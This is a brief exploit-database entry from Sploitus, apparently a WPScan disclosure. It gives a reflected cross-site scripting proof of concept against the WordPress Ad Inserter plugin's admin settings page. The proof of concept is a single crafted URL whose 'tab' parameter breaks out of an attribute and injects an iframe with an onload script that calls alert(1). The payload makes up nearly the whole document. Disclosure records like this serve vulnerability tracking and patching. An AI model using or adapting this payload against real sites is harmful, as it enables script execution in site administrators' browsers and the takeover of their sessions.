Share
## https://sploitus.com/exploit?id=WPEX-ID:85582B4F-A40A-4394-9834-0C88C5DC57BA
In a browser which does not encode characters: https://example.com/wp-admin/options-general.php?page=ad-inserter.php&start=2&tab=\"><iframe/onload=alert(1)></iframe>